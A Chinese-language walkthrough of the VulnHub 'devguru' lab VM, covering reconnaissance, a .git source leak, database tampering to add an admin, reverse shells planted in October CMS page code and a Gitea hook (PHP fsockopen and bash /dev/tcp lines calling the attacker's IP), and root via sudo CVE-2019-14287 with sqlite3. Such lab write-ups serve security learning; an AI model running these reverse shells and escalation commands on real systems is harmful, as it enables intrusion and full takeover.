当前位置: 首页 > news >正文

vulnhub系列:devguru

vulnhub系列:devguru

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

nmap扫描网段

nmap扫描端口,开放端口:22、80、8585

nmap 192.168.23.147 -p- -sV -Pn -O

nmap扫描端口

访问80端口

首页

dirb目录扫描,存在 git 源码、

dirb http://192.168.23.147/

目录扫描结果

拼接发现数据库登录页面

mysql登录页面

发现登录页面

登录页面

拼接/.git/config,发现8585端口的路径

git下config

拼接,是8585端口的页面

发现8585端口登录页面

拼接/.git/description,提示通过编辑 description 库来命名数据库

git下description

找不到其他东西,扫一下 8585 端口的目录

搜索框

搜索框

也没扫出什么东西,看一下80端口的 git 源码泄露,Githack 下载查看

githack下载源码

源码中发现 mysql 账号密码

mysql账号密码

成功登录数据库

登录数据库

发现 frank 用户,但是密码破解不出来,直接添加一个用户

发现frank用户

添加jqj用户

设置权限

设置组

添加用户后无法登录,john 解码发现密码为 bcrypt 加密发现密码,设置密码时需要选择 encrypt ,修改后成功登录

登录80后台

二、getshell

在 cms -> pages 可以写入语句,这里我在 about 中写入语句

function onStart(){$s=fsockopen("192.168.195.130",7777);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

写入反弹shell语句

kali监听4444端口,然后访问页面的about路径

访问about

成功反弹shell

成功反弹shell

三、提权

使用python提升交互性

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20240813190145545

尝试提权失败,/home 目录下有一个 frank 目录,也没有权限进入

/var/backups 下发现 app.ini.pak,查看内容

image-20240813190806441

得到 gitea 账号密码

gitea:UfFPTF8C8jjxVF2m

返回 adminer.php 页面,登录

image-20240813191013424

user 表下发现 frank 用户,密码 bcrypt 加密

image-20240813191202176

将密码修改为同样 bcrypt 加密的,123456

https://www.bejson.com/encrypt/bcrpyt_encode/$2a$10$vVQiseY5ZaYAwCcbgXJRpOxOhqXtXfN2SvsjW3vG3AXWw3R.LESIe

image-20240813191718376

将密码修改

image-20240813192023609

访问 8585端口的 /user/login 进行登录

image-20240813192127390

image-20240813192138443

登录后点击

image-20240813192527638

image-20240813192610069

在其中写入反弹 shell 语句

bash -c "exec bash -i >& /dev/tcp/192.168.23.133/4444 0>&1"

image-20240813192824608

下方点击保存

image-20240813192841923

kali 开启监听

nc -lvnp 4444

image-20240813193055175

返回前几个路径,随便修改一个文件,保存后即可反弹shell

image-20240813193131293

在 /home/frank 下发现第一个 flag 文件

image-20240813193336959

查看当前权限

sudo -l

image-20240813193235528

发现 sqlite3 命令能执行 root 权限,执行命令

sudo sqlite3 /dev/null '.shell /bin/sh'

提权失败,百度搜了一下,是由于 sudo 版本问题导致,查看 sudo 版本

sudo -V

image-20240813193827644

又查了一下,sudo 版本低于 1.8.27,存在 CVE-2019-14287 漏洞,执行命令,提权成功

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

image-20240813194035788

在 /root 下发现第二个 flag

image-20240813194120521

相关文章:

vulnhub系列:devguru

vulnhub系列:devguru 靶机下载 一、信息收集 nmap扫描存活,根据mac地址寻找IP nmap 192.168.23.0/24nmap扫描端口,开放端口:22、80、8585 nmap 192.168.23.147 -p- -sV -Pn -O访问80端口 dirb目录扫描,存在 git 源…...

Robot Operating System——高质量图像传输

大纲 应用场景定义字段解释 案例 sensor_msgs::msg::Image 是 ROS (Robot Operating System) 中的一个消息类型,用于表示未压缩的图像数据。它通常用于传输和处理高质量的图像数据。 应用场景 机器人视觉 图像处理:在机器人视觉系统中,未压缩…...

NLP_情感分类_预训练加微调方案

文章目录 项目背景代码导包一些模型以及训练的参数设置定义dataset定义模型读取数据声明训练及测试数据集将定义模型实例化打印模型结构模型训练测试集效果 同类型项目 项目背景 项目的目的,是为了对情感评论数据集进行预测打标。在训练之前,需要对数据…...

全网最适合入门的面向对象编程教程:36 Python的内置数据类型-字典

全网最适合入门的面向对象编程教程:36 Python 的内置数据类型-字典 摘要: 字典是非常好用的容器,它可以用来直接将一个对象映射到另一个对象。一个拥有属性的空对象在某种程度上说就是一个字典,属性名映射到属性值。在内部&#…...

DataWind看板绘制案例

摘要​: 1. 在不清楚DataWind看板怎么画的情况,可以先把表格给实现了,然后找几个有价值的数据进行看板实现 2. 还是不知道怎么画的情况,就去模仿其他人的案例; 3. 多看看DataWind提供的函数用法,就可以把表达式的使用运用起来了;​ 飞书官方文档:https://www.volcen…...

Golang | Leetcode Golang题解之第335题路径交叉

题目&#xff1a; 题解&#xff1a; func isSelfCrossing(distance []int) bool {n : len(distance)// 处理第 1 种情况i : 0for i < n && (i < 2 || distance[i] > distance[i-2]) {i}if i n {return false}// 处理第 j 次移动的情况if i 3 && di…...

C# 在Word中插入或删除分节符

在Word中&#xff0c;分节符是一种强大的工具&#xff0c;用于将文档分成不同的部分&#xff0c;每个部分可以有独立的页面设置&#xff0c;如页边距、纸张方向、页眉和页脚等。正确使用分节符可以极大地提升文档的组织性和专业性&#xff0c;特别是在长文档中&#xff0c;需要…...

基于STM32+Qt设计的无人超市收银系统(206)

文章目录 一、前言1.1 项目介绍【1】项目功能介绍【2】设计实现的功能【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】上位机设计思路1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】摘要【5】国内外技术发展现状1.4 开发工具的选择【1】设备端开…...

开源免费的表单收集系统TDuck

TDuck&#xff08;填鸭表单&#xff09;是一款开源免费的表单收集系统&#xff0c;它基于Apache 2.0协议开源&#xff0c;用户可以随时下载源码&#xff0c;自由修改和定制&#xff0c;也可以参与到项目的贡献和反馈中。TDuck表单系统不仅支持私有化部署&#xff0c;还提供了丰…...

Python 生成器、迭代器、可迭代对象 以及应用场景

Python 生成器&#xff08;Generators&#xff09; 生成器是一种特殊的迭代器&#xff0c;它使用 yield 语句来逐次产生数据&#xff0c;而不是一次性在内存中生成数据。这意呀着生成器提供了一种懒加载&#xff08;lazy evaluation&#xff09;的方式&#xff0c;非常适合处理…...

马斯克对欧盟的反应

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…...

uniapp + 安卓APP + H5 + 微信小程序实现PDF文件的预览和下载

文章目录 uniapp 安卓APP H5 微信小程序实现PDF文件的预览和下载1、用到的技术及插件2、简述操作&#xff1a;下载预览 3、上代码&#xff1a;(主要是写后端&#xff0c;前端不大熟&#xff0c;我感觉写的还凑活&#xff0c;不对的请指正嘻嘻)4、注意的问题 uniapp 安卓APP…...

Elasticsearch 8 RAG 技术分享

作者&#xff1a;来自 Elastic 中国区首席架构师 Jerry 本文由 Elastic 中国区首席架构师 Jerry Zhu 在【AI 搜索 TechDay】上的分享整理而成。【AI 搜索 TechDay】 是 Elastic 和阿里云联合主办的 AI 技术 Meetup 系列&#xff0c;聚焦企业级 AI 搜索应用和开发者动手实践&am…...

根据字典值回显,有颜色的

背景 本项目以若依前端vue2版本为例&#xff0c;项目中有根据字典值回显文本的函数selectDictLabel&#xff0c;但是有时候我们需要带颜色的回显&#xff0c;大概这样的 用法 <template v-slotscope><dict-label :options"dangerLevelOptions" :value&qu…...

多台PC网络ADB连接同一台RK3399 Android7.1.2设备

在RK3399 Android7.1.2上面&#xff0c;进行网络ADB调试时&#xff0c;如果多台电脑连接同一台Android设备&#xff0c;第一台连接上的能正常操作&#xff0c;之后连接的看到设备状态为OFFLINE&#xff0c;分析了下ADBD相关代码&#xff0c;发现在ACCEPT Client的时候没有区分别…...

前端黑科技:使用 JavaScript 实现网页扫码功能

在数字化时代&#xff0c;二维码已经渗透到我们生活的方方面面。从移动支付到产品溯源&#xff0c;二维码凭借其便捷性和高效性&#xff0c;成为了信息传递的重要载体。而随着前端技术的不断发展&#xff0c;我们甚至可以使用 JavaScript 在网页端实现二维码扫描功能&#xff0…...

【人工智能】全景解析:【机器学习】【深度学习】从基础理论到应用前景的【深度探索】

目录 1. 人工智能的基本概念 1.1 人工智能的定义与发展 1.1.1 人工智能的定义 1.1.2 人工智能的发展历史 1.2 人工智能的分类 1.2.1 弱人工智能 1.2.2 强人工智能 1.2.3 超人工智能 1.3 人工智能的关键组成部分 1.3.1 数据 1.3.2 算法 1.3.3 计算能力 2. 机器学习…...

MySQL与PostgreSQL语法区别

1. 数据类型差异 a. 整型 ● MySQL中的text数据类型最大存储容量为64KB&#xff0c;PostgreSQL中的text类型没有此限制。 ● MySQL中使用tinyint、mediumint和int表示不同大小的整数&#xff0c;PostgreSQL使用smallint、int和bigint。 b. 浮点数类型 ● MySQL提供了float和…...

vue2+OpenLayers 天地图上凸显出当前地理位置区域(4)

凸显出当前区域 需要当前地方的json数据 这个可以在阿里的这个阿里 看下效果图 遮盖层的逃命都是可以调的 引入 下面一段代码 import sx from "/views/json/sx1.json"; // 下载的json import GeoJSON from "ol/format/GeoJSON"; // ol的一些方法 imp…...

基于Python、Django开发Web计算器

1、创建项目 创建Django项目参照https://blog.csdn.net/qq_42148307/article/details/140798249&#xff0c;其中项目名为compute&#xff0c;并在该项目下创建一个名为app的应用&#xff0c;并且进行基本的配置。 2、导入Bootstrap前端框架 Bootstrap的使用参照https://blo…...

告别“炼丹”:用ReVeal的GGNN+Triplet Loss实战代码漏洞检测,我踩过的坑你别踩

从理论到实践&#xff1a;ReVeal漏洞检测模型落地中的关键挑战与解决方案 在代码安全领域&#xff0c;深度学习技术的应用正经历着从实验室研究到工业落地的关键转折期。ReVeal作为近年来备受关注的漏洞检测框架&#xff0c;其结合GGNN图神经网络与Triplet Loss的创新设计&…...

精选 Skills 推荐:10 个让 Coding Agent 如虎添翼的Skills + 优质来源分享

精选 Skills 推荐&#xff1a;10 个让 Coding Agent 如虎添翼的Skills 优质来源分享 本篇是 Vibecoding 系列教程 的工具导向专题篇。 前篇&#xff1a;进阶教程&#xff08;一&#xff09;&#xff1a;MCP Skills 让 coding agent 有自己的工具系列合集&#xff1a;Vibecodi…...

企业级离线OCR深度解析:5大策略实现高性能文字识别

企业级离线OCR深度解析&#xff1a;5大策略实现高性能文字识别 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片&#xff0c;PDF文档识别&#xff0c;排除水印/页眉页脚&#xff0c;扫描/生成二维码。内置多国语言库…...

Java程序员的云原生时代生存指南:面向软件测试从业者的专业视角

在技术浪潮的冲击下&#xff0c;云原生已从概念演进为产业标准。对于广大Java程序员而言&#xff0c;这既是挑战也是机遇。传统的技术栈和开发模式正在经历深刻变革&#xff0c;而软件测试作为保障质量的关键环节&#xff0c;其理念与实践也随之迭代。 一、 挑战审视&#xff…...

C语言回调函数在TCP客户端中的应用与实践

1. 回调函数基础概念解析回调函数是C语言中一种强大的编程机制&#xff0c;它允许我们将函数作为参数传递给其他函数。这种设计模式在现代编程中极为常见&#xff0c;特别是在事件驱动编程、异步操作和模块化设计中。1.1 回调函数的本质回调函数本质上是一个通过函数指针调用的…...

如何用MicroSIP实现远程办公通话?2024最新SIP协议设置指南

2024远程办公通话实战&#xff1a;MicroSIP高级配置与网络优化全攻略 远程办公已成为现代企业运营的标配&#xff0c;而稳定高效的语音通信系统则是团队协作的基石。作为一款轻量级开源SIP客户端&#xff0c;MicroSIP凭借其低延迟、高兼容性和零成本优势&#xff0c;正在成为中…...

STM32除零运算不崩溃的机制与配置解析

1. STM32单片机除零运算不崩溃的底层机制解析 在嵌入式开发领域&#xff0c;STM32系列单片机因其出色的性能和丰富的外设资源而广受欢迎。许多从传统PC平台转向嵌入式开发的工程师都会发现一个有趣的现象&#xff1a;在STM32上执行除零操作时&#xff0c;程序竟然不会像在PC上那…...

三星 Infinite AI 葡萄酒冰箱:智能厨房新尝试能否突围?

AI 加持&#xff0c;葡萄酒管理新体验周一&#xff0c;三星推出了 Infinite AI 葡萄酒冰箱&#xff0c;目前仅在韩国有售。这款冰箱采用了“AI 葡萄酒管理器”&#xff0c;借助安装在顶部的“AI 视觉”摄像头&#xff0c;能检测用户放入或取出的酒瓶及位置&#xff0c;还能分析…...

告别卡顿!用SwiftFormer在iPhone上5分钟部署实时图像识别App(附完整代码)

在iPhone上5分钟部署SwiftFormer图像识别App的实战指南 从理论到实践&#xff1a;为什么选择SwiftFormer 去年夏天&#xff0c;我在为一个时尚电商客户开发AR试衣功能时&#xff0c;第一次被移动端视觉模型的性能问题难住。当时使用的模型在iPhone 12上每帧处理需要近200ms&…...

保姆级教程:在OpenEuler 22.03 LTS-SP4上,用cephadm搞定Ceph Pacific集群部署

在OpenEuler 22.03 LTS-SP4上部署Ceph Pacific集群的完整指南 OpenEuler作为国产操作系统的代表&#xff0c;凭借其高性能和安全性&#xff0c;正逐渐成为企业级应用的首选。而Ceph作为开源的分布式存储解决方案&#xff0c;以其高可靠性和可扩展性赢得了广泛认可。本文将详细介…...